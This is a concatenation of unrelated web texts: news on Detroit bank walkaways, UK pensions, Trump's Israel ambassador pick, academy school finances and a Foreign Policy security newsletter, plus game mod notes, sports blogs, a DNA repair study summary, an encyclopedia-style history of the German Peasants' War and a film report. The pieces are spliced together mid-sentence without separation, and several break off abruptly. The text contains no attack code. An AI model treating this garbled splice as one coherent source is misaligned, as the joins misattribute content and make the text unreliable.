Accountability Office found 500 bank walkaways in just four Detroit zip codes. It’s impossible to know the real number of bank walkaways in Detroit without a house-to-house study. Nevertheless, we know of the staggering number of vacant homes in Detroit, particularly in the neighborhoods ringing downtown. Someone is responsible for those properties, and it’s probably the bank. And we know that banks have a financial incentive to cut and run from cities like Detroit, starving their budgets and creating a cascade of blighted properties in their wake. So while it’s easy to blame Detroit’s financial troubles on deadbeat homeowners, the more appropriate parties to blame may well be the deadbeat banks. Photo: ifmuth/FlickrWith the release of TR1709 this week, the faction merger will be one of the most impactful changes to Tamriel Rebuilt since the data merge with the Project Tamriel projects (Province Cyrodiil and Skyrim: Home of the Nords) into the Tamriel_Data framework. Like the move to Tamriel_Data, it will impact your savegame. Unlike Tamriel_Data, the filepatcher is not going to help you this time (unless you are a modder and used some of the deprecated IDs). The new TR_Mainland will only contain the new faction assignments. All content on the mainland will continue to be optional and nothing is going to change on Vvardenfell. For additional gameplay changes, a new plugin, TR_Factions will be made available. In this first iteration, it will contain additional quests for the Telvanni Hortator questline, as well as unified faction reaction tables and adjusted rank requirements. First of all, if you plan on starting a new game once you have TR1709 released, none of this applies to you. A new game is entirely without the unfortunate
pension investments performing worse than expected across large numbers of people. He said: “People say, you will get a 30 per cent bigger pension. You might, you might not, but clearly it is pretty unambiguous that you will get a more certain outcome and potentially a better one.” Critics of the collective pension model have warned that, unlike with a fixed annuity, pensioners have no guarantee of what they will receive in retirement, only a “target”. Dutch political parties have recently called for collective pensions to be scrapped in favour of British-style individual pensions. Other plans expected in the Queen’s Speech include: Þ Tax free child care – families will be entitled to subsidies worth up to £2,000 per child; Þ An infrastructure and competitiveness Bill will change trespass laws to allow shale gas exploration firms to drill beneath private property without the owner’s permission; Þ An offence will be created to combat organised crime. Þ A “Recall Bill” to allow voters to sack their elected MPs if they are not up to the job, although it has faced disagreements in the Coalition; Þ Measures are also expected to help small businesses receive payments more quickly from larger firms and to ban “zero hours” contracts that prevent workers taking jobs elsewhere. However, amid opposition from the Lib Dems, there will be no Bill guaranteeing a referendum on Britain’s membership of the European Union in the Queen’s Speech. Instead, David Cameron is to promise that he will use the Parliament Acts to overrule the House of Lords and force a back-bench Tory MP’s referendum Bill into law.The interwebz has been buzzing since ESPN's Merril Hoge said yesterday that Joe Flacco is now the NFL's best quarterback. Honestly, if we're talking about right now, I think you could make a legitimate argument. He did just win the Super Bowl, for Christ's sake, and throw 11 TDs with 0 INTs while doing it. We've got to give him a little credit. Flacco might not have the strongest arm, or be the most accurate, or present a mobile threat. But he's a winner, plain and simple. Anyway, we're getting off topic. Because my beef with Hoge isn't that he's wacko for Flacco, it's that he doesn't think Brees is the bees knees. That's right. Check out the video. Hoge's other top five quarterbacks behind Flacco are Aaron Rodgers, Tom Brady, Ben Roethlisberger (are you crapping me!?!?), and Matt Ryan. Drew doesn't make the cut but don't worry, Roethlisberger's there. But wait...there's more! Check out Merril's Reality Board. Brees isn't even listed in the pool of potential top quarterbacks! He's not even an option! The Mannings are there with three young quarterbacks Colin Kaepernick, Andrew Luck and RGIII. But Drew is nowhere to be found. Considering this, I think it's safe to assume that Hoge doesn't consider Drew Brees to be a top ten quarterback. Well if that isn't a slap in the face. Am I missing something here? Is the best of Brees behind him and I'm simply too much of a Drew lover to even see the harsh reality? Nah. I'm pretty sure Hoge is just being idiotic.Researchers Find a Protein That Helps DNA Repair in Aging Cells Results Provide Insight on Age-Related Health Issues Scientists have long wondered why cells lose their ability to repair themselves as they age. New research by scientists at the University of Rochester has uncovered two intriguing clues. The work by biologists Andrei Seluanov, Vera Gorbunova, Zhiyong Mao, Xiao Tian, Michael Van Meter, and Zhonghe Ke, has been published in the Proceedings of the National Academy of Sciences. DNA strands in human cells routinely break and repair themselves, Seluanov and Gorbunova explained, but as cells age, the system for repair becomes less efficient and flaws in the process lead to a decline in the functionality of tissue and an increase in the incidence of tumors. Their team wanted to determine why this occurs, and establish whether the process could be slowed, or even reversed. Seluanov and his colleagues found that the decline in a cell's ability to repair DNA during aging coincided with a global reduction in the levels of proteins involved in the repair process. Seluanov's group tried to reverse the age-related decline in DNA repair efficiency by restoring the proteins to their original levels and found only one protein, SIRT6, did the trick. Gorbunova said the results build on a paper by Haim Cohen, a staff scientist investigating aging at Bar-Ilan University in Israel, and others published in the journal Nature this summer. "That work showed that overexpressing the SIRT6 protein extended the lifespans of mice," said Gorbunova, "Our research looked at DNA repair and found a reason for the increased longevity, and that is SIRT6's role in promoting more efficient DNA repair." The next step for Seluanov and his team is to study the factors that regulate SIRT6, in an effort to learn more about the early stages of the DNA repair process. Seluanov said that multiple groups are trying to develop drugs that activate SIRT6, and he hopes that this research will one day lead to therapies that help extend a person's lifespan and treat cancer. Seluanov and Gorbunova pointed out that previous research from their groups had established that SIRT6 plays a critical role in repairing the most dangerous type of DNA damage: double-strand breaks. DNA is a two-stranded molecule, and breaks can occur to one strand of the molecule or to both. In the case of single-strand breaks, the unbroken strand guides the repair process and the DNA molecule is typically restored to its original state. However, double-strand breaks, in which both strands are severed, are particularly hazardous because they are more difficult to repair and can lead to a rearrangement of the cell's genetic material, Seluanov said. Cells have evolved two major pathways to repair double-strand breaks: a high fidelity process�homologous recombination (HR)�and a quicker, but more error-prone process�non-homologous end joining (NHEJ). Seluanov's current study shows that the age-related decline in HR is particularly precipitous, with old cells being 38-times less efficient at the process than their younger counterparts. Gorbunova speculated that older cells may be forced to overly rely on the less accurate NHEJ, which also becomes less efficient during aging, likely contributing to the loss of tissue functionality and the increase in tumor incidence that characterize aging.SitRep: Mattis’ War; U.S. To Ship $12B Worth of Fighter Planes to Qatar; American Commandos Targeted By ISIS Drones With Adam Rawnsley Afghanistan surge. Defense Secretary Jim Mattis sought to temper expectations he was about to embark on a large — or rapid — troop buildup in Afghanistan in congressional testimony on Wednesday, a day after reports emerged that president Trump delegated authority for determining the size of the U.S. commitment in the war to the Pentagon. “I’ve been given some carte blanche to — to draw up a strategy or a number that’s out of step with the strategy,” Mattis said. “I think right now what we have to look at is what kind of capabilities do we bring to them because the Afghans have proven they will fight.” Air power. Mattis said that adding more U.S. air power to the fight in the short term would “restore the high ground” by supporting Afghan forces in the field, since “right now, I believe the enemy is surging.” The secretary also vowed not to “repeat the mistakes of the past” in Afghanistan, but what went unstated — at least explicitly — was that this is very much Mattis’ war now. Sen. Sen. Lindsey Graham (R-S.C.) took a swipe at Trump while putting the ball squarely in the SecDef’s court however, telling him during a Congressional hearing, “I’m glad that Trump is smart enough to understand that you know more than he does and he’s empowering you to make us safe. What a novel idea for the commander in chief to turn to his commanders and say, ‘what you need to win?’” Not so fast. Whatever Mattis does in the coming weeks will occur without the benefit of a new strategy approved by the president, as Trump won’t be briefed on the plan forward until early next month. And it is unclear what diplomatic efforts will go along with increased air strikes and more military advisors. “We have no ambassador In Afghanistan, no ambassador in Pakistan, no assistant secretary of state for South Asia, and no special representative for Afghanistan and Pakistan. People are leaving that office and not being replaced,” Barnett Rubin, a former State Department official with long experience in Afghanistan and Pakistan told SitRep. Jets to Qatar. Late Wednesday, the embattled government of Qatar announced that it had signed a $12 billion contract with the U.S. government for several dozen Boeing-made F-15 fighter planes, following a meeting at the Pentagon between Defense Secretary Mattis and Qatari Minister of State for Defense Affairs Dr. Khalid al-Attiyah. In a statement, Qatar said the deal would create 60,000 American jobs in 42 states. A U.S. State Department official, speaking to SitRep on the condition of anonymity, said the deal — originally reached under the Obama administration — has full U.S. support despite several Gulf allies having recently cut off diplomatic relations with Qatar due to its ties to Iran and support for groups like Hamas. Just last week, president Trump weighed in to support the Saudi-led effort to isolate Qatar. The official added that since “the production of complex fighter jets will take a period of years,” Washington is “confident that Qatar can address its remaining issues within this timeframe, prior to delivery.” Ship to shore. Around the time that details of the F-15 deal were dribbling out, reports emerged that two U.S. Navy ships had arrived in Qatar to conduct training exercises with local forces. The Navy was quick to push back on the idea that this was something new, and Cmdr. Bill Urban, U.S. Fifth Fleet spokesman, told SitRep that the USS Chinook, a patrol craft with a crew of about 30 sailors, and US Coast Guard Cutter Baranof “are making a routine port visit to Qatar. U.S. Fifth Fleet ships conduct similar port visits throughout the region as part of our normal operations.” Trump Africa plan. The U.S. and France are “hurtling toward a potential dust-up, as the Trump administration weighs vetoing a French Security Council resolution empowering an African counterterrorism force, according to U.S. officials and U.N.-based diplomats.” That the latest scoop from FP’s Colum Lynch, who writes, that the dispute “hinges on the question of who will help fund the force of 5,000 African soldiers and police in the Sahel, a semiarid plain that stretches from Senegal to Sudan, and whether French military planners have devised a workable strategy.” ISIS drones hit US SOF. The Islamic State has increased its drone activity around its embattled stronghold of Raqqa, targeting American Special Operations Forces who are partnering with Syrian Arabs and Kurds pressing on the city, the Washington Post reports. US strikes. The U.S.-led air campaign against the Islamic State in Raqqa, Syria has led to a “staggering loss of life” says U.N. Commission of Inquiry chief Paulo Pinheiro. Pinheiro estimates that the coalition has killed at least 300 civilians since March 2017, and another 160,000 civilians have been displaced due to the fighting. Who’s where when. The Qatar F-15 deal and upcoming weapons sales to Saudi Arabia will no doubt be at the top of the agenda Thursday morning at the House Foreign Affairs subcommittee, as it hears from several top military and State Department officials on foreign military sales. Ambassador Tina Kaidanow, Acting Assistant Secretary here in State Department’s Bureau of Political-Military Affairs and Defense Security Cooperation Agency (DSCA) Director VADM Joe Rixey will testify. American hostages. Members of the Namazi family came to the White House on Tuesday to discuss the plight of Iranian-American businessman Siamak Namazi and his father, Baquer, who were sentenced to ten years in prison last year. (See the story by FP’s Dan De Luce.) They met with NSC officials Dina Powell and Joel Rayburn, a senior administration official told FP. State Department officials raised the issue directly with Iran at a meeting in April in Vienna to discuss the implementation of the nuclear agreement between Tehran and world powers. Human rights groups say Siamak Namazi’s health has deteriorated due to a hunger strike and relentless interrogations. Welcome to SitRep. Send any tips, thoughts or national security events to paul.mcleary@foreignpolicy.com or via Twitter: @paulmcleary or @arawnsley. Aftermath…President Donald Trump has landed in the crosshairs of federal investigators. The FBI probe led by former Director Robert Mueller will interview senior intelligence officials as part of an examination of whether the president obstructed justice, according to the Washington Post. Mueller’s investigators will now interview Director of National Intelligence Dan Coats, NSA Director Michael Rogers, and his recently retired deputy, Richard Ledgett. According to earlier media reports, Trump leaned on Rogers and Coats to publicly downplay the FBI’s investigation of Russian meddling and whether any Trump aides conspired with Kremlin agents. — Elias Groll Cash rules everything around me. The NSA says North Korea was likely behind the WannaCry global ransomware pandemic that locked down computers on six continents. The Washington Post reports that the signals intelligence agency has estimates with “moderate confidence” that the North’s Reconnaissance General Bureau created the malware with the intent of raising money for the heavily-sanctioned country. Despite the massive number of infections, however, the worm has thus far only netted $140,000 worth of payments in the bitcoin cryptocurrency. Experts have pointed out that some of the code in WannaCry contains snippets of code bears similarities to previous North Korean hacking tools. Shine a light. U.S. officials say an Iranian warship in the Persian Gulf painted a U.S. Marine Corps helicopter with a laser and shined a spotlight on it, forcing the chopper to light off its flares. A Defense Department spokesman tells Fox News that the incident was “unsafe and unprofessional” and “dangerous” for pilots navigating with night vision goggles. The run-in between U.S. and Iranian troops in the Gulf is one of many that have taken place over the past few years, with U.S. Central Command complaining that Iran’s Islamic Revolutionary Guard Corps Navy has become more aggressive towards the U.S. presence there. Yemen. Houthi militants fired an unspecified guided missile at a ship off the coast of Yemen on Wednesday. Saudi Arabia’s state-run news agency says that missile was aimed at a United Arab Emirates ship but did no damage other than the wounding of one crew member. The attack in the narrow Bab al-Mandab strait follows a series of attacks on ships transiting off Yemen by Houthi militants, including a remote control suicide boat attack on a Saudi frigate in January and anti-ship cruise missiles fired at U.S. Navy warship in October 2016. Back in your old neighborhood. The Islamic State’s Afghan affiliate has taken control of part of Tora Bora once used by al Qaeda leader Osama Bin Laden as a shelter against U.S. bombing. The New York Times reports that Islamic State fighters managed to pry the warren of underground tunnels from rivals in the Taliban after a week of fighting. Local warlord Hazrat Ali says the Islamic State moved on the tunnel network after the group lost a previous cave shelter in Nangarhar when the U.S. dropped the “mother of all bombs” on it. Valor. CNN has learned new details about the careers of two U.S. Navy SEALs killed in the line of duty in Yemen and Somalia. Chief Petty Officer William “Ryan” Owens was killed in January during a raid against al-Qaeda militants in Yemen. But before that, he served in Somalia, where he earned a Silver Star for facing off against 400 Somali militants after he “repeatedly exposed himself to enemy fire” in capturing a town held al-Qaeda-linked militants. Senior Chief Petty Officer Kyle Milliken was killed outside Mogadishu while serving as an advisor to local forces but before that he served in 48 missions in Iraq, where he helped save three wounded comrades under fire. Fine print. Burned by international criticism about the civilian death toll in its war in Yemen, Saudi Arabia is embarking on a $750 million a year training program to improve its targeting procedures. The New York Times also reports that Saudi Foreign Minister Adel al-Jubeir also wrote a private letter to Secretary of State Rex Tillerson promising to do more to avoid civilian casualties. The moves appear aimed at easing the passage of a proposed $110 billion package of arms sales with the U.S., which narrowly passed the Senate this week in the face of vocal opposition from a handful of legislators.President-elect Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE on Thursday announced his pick of adviser David Friedman for U.S. ambassador to Israel. "The bond between Israel and the United States runs deep, and I will ensure there is no daylight between us when I’m president,” Trump said in a statement, saying Friedman would "maintain the special relationship between our two countries.” “He has been a long-time friend and trusted adviser to me,” Trump added of Friedman, an attorney who is also a co-chair on Trump’s Israel advisory committee. ADVERTISEMENT “His strong relationships in Israel will form the foundation of his diplomatic mission and be a tremendous asset to our country as we strengthen the ties to our allies and strive for peace in the Middle East," Trump continued. "Nothing is more critical than protecting the security of our citizens at home and abroad.” Friedman said he was "deeply honored and humbled" to be selected for the post and said he would work to ensure an iron-clad friendship between the U.S. and Israel, a key ally in the Middle East. He also indicated that Trump would make good on his pledge to move the U.S. Embassy from Tel Aviv to Jerusalem. While Israel declared Jerusalem its capital in 1950, the U.S. has long joined other countries in not recognizing it as such, instead maintaining a diplomatic presence in Tel Aviv. Some Republicans have pushed for the embassy to be moved to Jerusalem, which would upend decades of policy. Israelis and Palestinians both maintain Jerusalem as their capital city. “I intend to work tirelessly to strengthen the unbreakable bond between our two countries and advance the cause of peace within the region, and look forward to doing this from the U.S. embassy in Israel’s eternal capital, Jerusalem," said Friedman, who is a founding partner of the national law firm Kasowitz, Benson, Torres & Friedman LLP. Trump's pick of Friedman comes over the selection of other potential choices, such as Mike Huckabee. The former Arkansas governor denied reports last month that he was the ambassador pick. He said he was offered a Cabinet position but it wasn't "the right fit." J Street, a liberal Israel advocacy group, said Thursday it is "vehemently opposed" to Friedman's nomination. "This nomination is reckless, putting America's reputation in the region and credibility in the world at risk," a spokesman said in a statement. "Senators should know that the majority of Jewish Americans oppose the views and values this nominee represents. "J Street calls on all friends of Israel who believe its future, democracy and security depend on two states to join us in opposing the nomination." Updated: 7:55 p.m.Get the biggest politics stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email Nearly 40% of England’s 2,900 academy schools have made payments to organisations with family ties to their directors or trustees, Labour found. The Education Funding Agency discovered at least 26 cases last year where directors failed to declare a family link or the service was not provided at cost price. The revelation raises fresh questions about the Government’s plans to turn all state primary and secondary schools into academies by the end of the decade. Information unearthed through a series of Parliamentary questions found that 1,083 academy trusts (37%) had made “related-party transactions” in the financial year ending August 31, 2014. A “related-party transaction” is when a payment was made to a businesses or organisations in which a director or trustee has an interest, either directly or through a family member. The majority of these will be legal if the director or trustee registers their interest. But the Education Funding Agency found there were at least 26 cases last year of “irregular” payments. It did not name any of the academies involved. Whitehall spending watchdog the National Audit Office warned recently that the rapid expansion of academies has made it difficult to keep track of their spending. The NAO said: “The department’s policy of autonomy for academies brings with it significant risks if the financial capability of the department and academies are not strengthened. “And the financial statements do not present a true and fair view and meet the accountability requirements of Parliament. “This will become even more significant in the context of the planned expansion of the academy sector.” Read more: Heartbroken headteacher who resigned over Tory academy plan blasts "immoral" move Shadow Education Secretary Lucy Powell said: “The Department for Education is totally failing to have a handle on the finances of the thousands of schools that it is trying to run directly from Whitehall. (Image: Dominic Salter) “It is plain to everyone, except the Government, that the Tory plan to force all schools to become academies will only make this situation even worse. “It is time that David Cameron U-turned on this top-down, costly reorganisation of our schools system, which nobody wants and schools don’t need, and instead ensure there is proper local oversight of all our schools, so that standards are raised and parents can be sure their child’s school is getting the best deal for its pupils.” However, a Department for Education spokesman said: “Academies and free schools operate under a strict system of oversight and accountability – more robust than in council-run schools – and we have consistently demonstrated that where we find failure, we will act quickly and decisively. “The number of irregular or improper transactions is very small and we are confident that the accountability system for the academies programme is robust and fit for purpose.” The lack of financial control of academies comes as Education Secretary Nicky Morgan is under mounting pressure to ditch her plans to strip local councils of control of schools - even from within her own party. Tory councillors, MPs and peers, including former Education Secretary Kenneth Baker, have all voiced doubts about the programme. The County Councils Network, which represents 37 local authorities, said plans to turn all schools into academies could lead to a “poorer education system.” Chairman of the network Paul Carter, who is also the Conservative leader of Kent County Council, said: “My concern is that the change will lead to a poorer education system operating across Kent, and more broadly England, because the value that local authorities generally provide to schools will be removed.” He added: “If you have a school with five teachers, and two or three of those teachers become pregnant at the same time, you need those support networks to support those schools - otherwise their finances will not be sustainable and the school will end up in a spiral of decline.”The German Peasants' War, Great Peasants' War or Great Peasants' Revolt (German: Deutscher Bauernkrieg) was a widespread popular revolt in some German-speaking areas in Central Europe from 1524 to 1525. It failed because of the intense opposition by the aristocracy, who slaughtered up to 100,000 of the 300,000 poorly armed peasants and farmers. The survivors were fined and achieved few, if any, of their goals. The war consisted, like the preceding Bundschuh movement and the Hussite Wars, of a series of both economic and religious revolts in which peasants and farmers, often supported by Anabaptist clergy, took the lead. The German Peasants' War was Europe's largest and most widespread popular uprising prior to the French Revolution of 1789. The fighting was at its height in the middle of 1525. The war began with separate insurrections, beginning in the southwestern part of what is now Germany and Alsace, and spread in subsequent insurrections to the central and eastern areas of Germany and present-day Austria. After the uprising in Germany was suppressed, it flared briefly in several Swiss Cantons. In mounting their insurrection, peasants faced insurmountable obstacles. The democratic nature of their movement left them without a command structure and they lacked artillery and cavalry. Most of them had little, if any, military experience. In combat they often turned and fled, and were massacred by their pursuers.[citation needed] The opposition had experienced military leaders, well-equipped and disciplined armies, and ample funding. The revolt incorporated some principles and rhetoric from the emerging Protestant Reformation, through which the peasants sought influence and freedom. Radical Reformers and Anabaptists, most famously Thomas Müntzer, instigated and supported the revolt. In contrast, Martin Luther and other Magisterial Reformers condemned it and clearly sided with the nobles. In Against the Murderous, Thieving Hordes of Peasants, Luther condemned the violence as the devil's work and called for the nobles to put down the rebels like mad dogs.[3] Historians have interpreted the economic aspects of the German Peasants' War differently, and social and cultural historians continue to disagree on its causes and nature. Background [ edit ] In the sixteenth century, many parts of Europe had common political links within the Holy Roman Empire, a decentralized entity in which the Holy Roman Emperor himself had little authority outside of his own dynastic lands, which covered only a small fraction of the whole. At the time of the Peasants' War, Charles V, King of Spain, held the position of Holy Roman Emperor (elected in 1519). Aristocratic dynasties ruled hundreds of largely independent territories (both secular and ecclesiastical) within the framework of the empire, and several dozen others operated as semi-independent city-states. The princes of these dynasties were taxed by the Roman Catholic church. The princes stood to gain economically if they broke away from the Roman church and established a German church under their own control, which would then not be able to tax them as the Roman church did. Most German princes broke with Rome using the nationalistic slogan of "German money for a German church". Roman civil law [ edit ] Princes often attempted to force their freer peasants into serfdom by increasing taxes and introducing Roman civil law. Roman civil law advantaged princes who sought to consolidate their power because it brought all land into their personal ownership and eliminated the feudal concept of the land as a trust between lord and peasant that conferred rights as well as obligations on the latter. By maintaining the remnants of the ancient law which legitimized their own rule, they not only elevated their wealth and position in the empire through the confiscation of all property and revenues, but increased their power over their peasant subjects. During the Knights' Revolt the "knights", the lesser landholders of the Rhineland in western Germany, rose up in rebellion in 1522–1523. Their rhetoric was religious, and several leaders expressed Luther's ideas on the split with Rome and the new German church. However, the Knights' Revolt was not fundamentally religious. It was conservative in nature and sought to preserve the feudal order. The knights revolted against the new money order, which was squeezing them out of existence. Luther and Müntzer [ edit ] Twelve Articles of the Peasants pamphlet of 1525 Martin Luther, the dominant leader of the Reformation in Germany, took a middle course in the Peasants' War. He criticized both the injustices imposed on the peasants, and the rashness of the peasants in fighting back. He also tended to support the centralization and urbanization of the economy. This position alienated the lesser nobles, but shored up his position with the burghers. Luther argued that work was the chief duty on earth; the duty of the peasants was farm labor and the duty of the ruling classes was upholding the peace. He could not support the Peasant War because it broke the peace, an evil he thought greater than the evils the peasants were rebelling against. Therefore, he encouraged the nobility to swiftly and violently eliminate the rebelling peasants. Later, Luther also criticized the ruling classes for their merciless suppression of the insurrection. Luther has often been sharply criticized for his position.[6] Thomas Müntzer was the most prominent radical reforming preacher who supported the demands of the peasantry, including political and legal rights. Müntzer’s theology had been developed against a background of social upheaval and widespread religious doubt, and his call for a new world order fused with the political and social demands of the peasantry. In the final weeks of 1524 and the beginning of 1525, Müntzer travelled into south-west Germany, where the peasant armies were gathering; here he would have had contact with some of their leaders, and it is argued that he also influenced the formulation of their demands. He spent several weeks in the Klettgau area, and there is some evidence to suggest that he helped the peasants to formulate their grievances. While the famous Twelve Articles of the Swabian peasants were certainly not composed by Müntzer, at least one important supporting document, the Constitutional Draft, may well have originated with him. Returning to Saxony and Thuringia in early 1525, he assisted in the organisation of the various rebel groups there and ultimately led the rebel army in the ill-fated Battle of Frankenhausen on 15 May 1525. Müntzer’s role in the Peasant War has been the subject of considerable controversy, some arguing that he had no influence at all, others that he was the sole inspirer of the uprising. To judge from his writings of 1523 and 1524, it was by no means inevitable that Müntzer would take the road of social revolution. However, it was precisely on this same theological foundation that Müntzer’s ideas briefly coincided with the aspirations of the peasants and plebeians of 1525: viewing the uprising as an apocalyptic act of God, he stepped up as ‘God’s Servant against the Godless’ and took his position as leader of the rebels. Luther and Müntzer took every opportunity to attack each other’s ideas and actions. Luther himself declared against the moderate demands of the peasantry embodied in the twelve articles. His article Against the Murderous, Thieving Hordes of Peasants appeared in May 1525 just as the rebels were being defeated on the fields of battle. Social classes in the 16th century Holy Roman Empire [ edit ] Flyer from the time of the Peasants' War In this era of rapid change, modernizing princes tended to align with clergy burghers against the lesser nobility and peasants. Princes [ edit ] Many rulers of Germany's various principalities functioned as autocratic rulers who recognized no other authority within their territories. Princes had the right to levy taxes and borrow money as they saw fit. The growing costs of administration and military upkeep impelled them to keep raising demands on their subjects. The princes also worked to centralize power in the towns and estates. Accordingly, princes tended to gain economically from the ruination of the lesser nobility, by acquiring their estates. This ignited the Knights' Revolt that occurred from 1522 through 1523 in the Rhineland. The revolt was "suppressed by both Catholic and Lutheran princes who were satisfied to cooperate against a common danger". To the degree that other classes, such as the bourgeoisie, might gain from the centralization of the economy and the elimination of the lesser nobles' territorial controls on manufacture and trade, the princes might unite with the burghers on the issue. Lesser nobility [ edit ] The innovations in military technology of the Late Medieval period began to render the lesser nobility (the knights) militarily obsolete. The introduction of military science and the growing importance of gunpowder and infantry lessened the importance of heavy cavalry and of castles. Their luxurious lifestyle drained what little income they had as prices kept rising. They exercised their ancient rights in order to wring income from their territories. In the north of Germany many of the lesser nobles had already been subordinated to secular and ecclesiastical lords. Thus, their dominance over serfs was more restricted. However, in the south of Germany their powers were more intact. Accordingly, the harshness of the lesser nobles' treatment of the peasantry provided the immediate cause of the uprising. The fact that this treatment was worse in the south than in the north was the reason that the war began in the south. The knights became embittered as their status and income fell and they came increasingly under the jurisdiction of the princes, putting the two groups in constant conflict. The knights also regarded the clergy as arrogant and superfluous, while envying their privileges and wealth. In addition, the knights' relationships with the patricians in the towns was strained by the debts owed by the knights. At odds with other classes in Germany, the lesser nobility was the least disposed to the changes. The lesser nobility and the clergy paid no taxes and often supported their local prince. Clergy [ edit ] The clergy in 1525 were the intellectuals of their time. Not only were they literate, but in the Middle Ages they had produced most books. Some clergy were supported by the nobility and the rich, while others appealed to the masses. However, the clergy was beginning to lose its overwhelming intellectual authority. The progress of printing (especially of the Bible) and the expansion of commerce, as well as the spread of renaissance humanism, raised literacy rates, according to Engels. Engels held that the Catholic monopoly on higher education was accordingly reduced. However, despite the secular nature of nineteenth century humanism, three centuries earlier Renaissance humanism had still been strongly connected with the Church: its proponents had attended Church schools. Over time, some Catholic institutions had slipped into corruption. Clerical ignorance and the abuses of simony and pluralism (holding several offices at once) were rampant. Some bishops, archbishops, abbots and priors were as ruthless in exploiting their subjects as the regional princes. In addition to the sale of indulgences, they set up prayer houses and directly taxed the people. Increased indignation over church corruption had led the monk Martin Luther to post his 95 Theses on the doors of the Castle Church in Wittenberg, Germany, in 1517, as well as impelling other reformers to radically re-think church doctrine and organization.[17][18] The clergy who did not follow Luther tended to be the aristocratic clergy, who opposed all change, including any break with the Roman Church. The poorer clergy, rural and urban itinerant preachers who were not well positioned in the church, were more likely to join the Reformation. Some of the poorer clergy sought to extend Luther's equalizing ideas to society at large. Patricians [ edit ] Many towns had privileges that exempted them from taxes, so that the bulk of taxation fell on the peasants. As the guilds grew and urban populations rose, the town patricians faced increasing opposition. The patricians consisted of wealthy families who sat alone in the town councils and held all the administrative offices. Like the princes, they sought to secure revenues from their peasants by any possible means. Arbitrary road, bridge, and gate tolls were instituted at will. They gradually usurped the common lands and made it illegal for peasants to fish or to log wood from these lands. Guild taxes were exacted. No revenues collected were subject to formal administration, and civic accounts were neglected. Thus embezzlement and fraud became common, and the patrician class, bound by family ties, became wealthier and more powerful. Burghers [ edit ] The town patricians were increasingly criticized by the growing burgher class, which consisted of well-to-do middle-class citizens who held administrative guild positions or worked as merchants. They demanded town assemblies made up of both patricians and burghers, or at least a restriction on simony and the allocation of council seats to burghers. The burghers also opposed the clergy, whom they felt had overstepped and failed to uphold their principles. They demanded an end to the clergy’s special privileges such as their exemption from taxation, as well as a reduction in their numbers. The burgher-master (guild master, or artisan) now owned both his workshop and its tools, which he allowed his apprentices to use, and provided the materials that his workers needed. F. Engels cites: "To the call of Luther of rebellion against the Church, two political uprisings responded, first, the one of lower nobility, headed by Franz von Sickingen in 1523, and then, the great peasant's war, in 1525; both were crushed, because, mainly, of the indecisiveness of the party having most interest in the fight, the urban bourgeoisie". (Foreword to the English edition of: 'From Utopy Socialism to Scientific Socialism', 1892) Plebeians [ edit ] The plebeians comprised the new class of urban workers, journeymen, and peddlers. Ruined burghers also joined their ranks. Although technically potential burghers, most journeymen were barred from higher positions by the wealthy families who ran the guilds. Thus their "temporary" position devoid of civic rights tended to become permanent. The plebeians did not have property like ruined burghers or peasants. Peasants [ edit ] The heavily taxed peasantry continued to occupy the lowest stratum of society. In the early 16th century, no peasant could hunt, fish, or chop wood freely, as they previously had, because the lords had recently taken control of common lands. The lord had the right to use his peasants' land as he wished; the peasant could do nothing but watch as his crops were destroyed by wild game and by nobles galloping across his fields in the course of chivalric hunts. When a peasant wished to marry, he not only needed the lord's permission but had to pay a tax. When the peasant died, the lord was entitled to his best cattle, his best garments and his best tools. The justice system, operated by the clergy or wealthy burgher and patrician jurists, gave the peasant no redress. Generations of traditional servitude and the autonomous nature of the provinces limited peasant insurrections to local areas.[citation needed] Military organizations [ edit ] Army of the Swabian League [ edit ] Bauernjörg, Georg, Truchsess von Waldb
, who said they would do anything to work with me, except this script,” he continued. “And then there were two, who said yes and I asked, ‘Are you sure?’ And they said, ‘Yeah yeah yeah.’ I think we should make a little test of their reading abilities.” Uma Thurman will be playing one of Jack’s five victims, but the graphic subject matter doesn’t bother her when a talent like von Trier is at the helm. The two last worked together during a memorable scene in “Nymphomaniac Vol. 1,” an experience the actress called a “wonderful time.” The other victims will be played by Siobhan Fallon Hogan, Sofie Gråbøl and Riley Keough. “Lars is an amazing director for actors,” Thurman said. “I can tease him and say that he is incredibly sensitive and tender in what he is trying to get, in a brutal way, out of things. We will see. It is in his hands.” As for why von Trier is tackling a genre that has been done to death: “I don’t find anything especially interesting about serial killers. It’s more the women. For some strange reason all the women I have been with have been crazy about serial killers. That might have something to do with me.” The way von Trier handles a film with so much violence towards women is bound to stir up controversy at some point. He must have something particularly twisted up his sleeve if even actors who have wanted to work with him (and are obviously aware of his work) took a pass on this script. Vesth confirmed the production is set to last through May, before von Trier heads into a lengthy post-production period. She confirmed the plan is to have the film ready for Cannes consideration in 2018. For more from the “House That Jack Built” press conference, head over to ScreenDaily. Stay on top of the latest breaking film and TV news! Sign up for our Email Newsletters here. Sign Up: Stay on top of the latest breaking film and TV news! Sign up for our Email Newsletters here.Earlier this week, Stanford head coach David Shaw paid the Washington State Cougars high praise -- calling them one of the most physical teams the Cardinal faced last season. “Physical,” of course, being the standard by which he judges his own team. In that “physical” matchup last year, the Cardinal offense struggled mightily, yet managed 10 sacks and a pick six in a 24-17 win over the Cougars in Palo Alto. This year, they meet in at CenturyLink Field in the Seattle Game -- an annual contest that brings the Cougs to the western part of the state once a year. Stanford coach David Shaw said the Cougars were one of the most physical team the Cardinal faced last year and he expects more of the same when they meet on Saturday. Ron Chenoy/US Presswire Shaw said he sees the same thing from Washington State’s defense this year … only better. “I see the same effort, guys are playing hard,” Shaw said. “They are playing aggressive defense and they are playing smart defense. You don’t see guys out of position. You see a very coordinated effort both in the front seven and the coverage responsibilities. That’s the key to team defense, everyone know what to do. You don’t see a lot of bombs going over guy’s heads. You don’t see a lot of wide-open receivers. You don’t see a lot of runs breaking for 30-, 40-yard gains. They’re a very disciplined group.” There will be a lot of the same faces on the field Saturday for both teams -- but they are considerably different teams than they were last year. Stanford’s offense, with Kevin Hogan running the show and the lack of a dominant tight end, looks a lot different than it did when the teams met last season. And it’s a different Washington State defense -- wiser in the ways of Mike Breske’s 3-4 scheme and playing a physical brand of ball that has Shaw taking notice. Case in point: Per ESPN Stats and Info, Hogan has targeted his tight ends just 8 percent of the time this year -- that’s down more than 40 percent from what it was last year. All seven touchdowns have gone to either wide receivers or running backs. In fact, the tight ends have only caught four passes in three 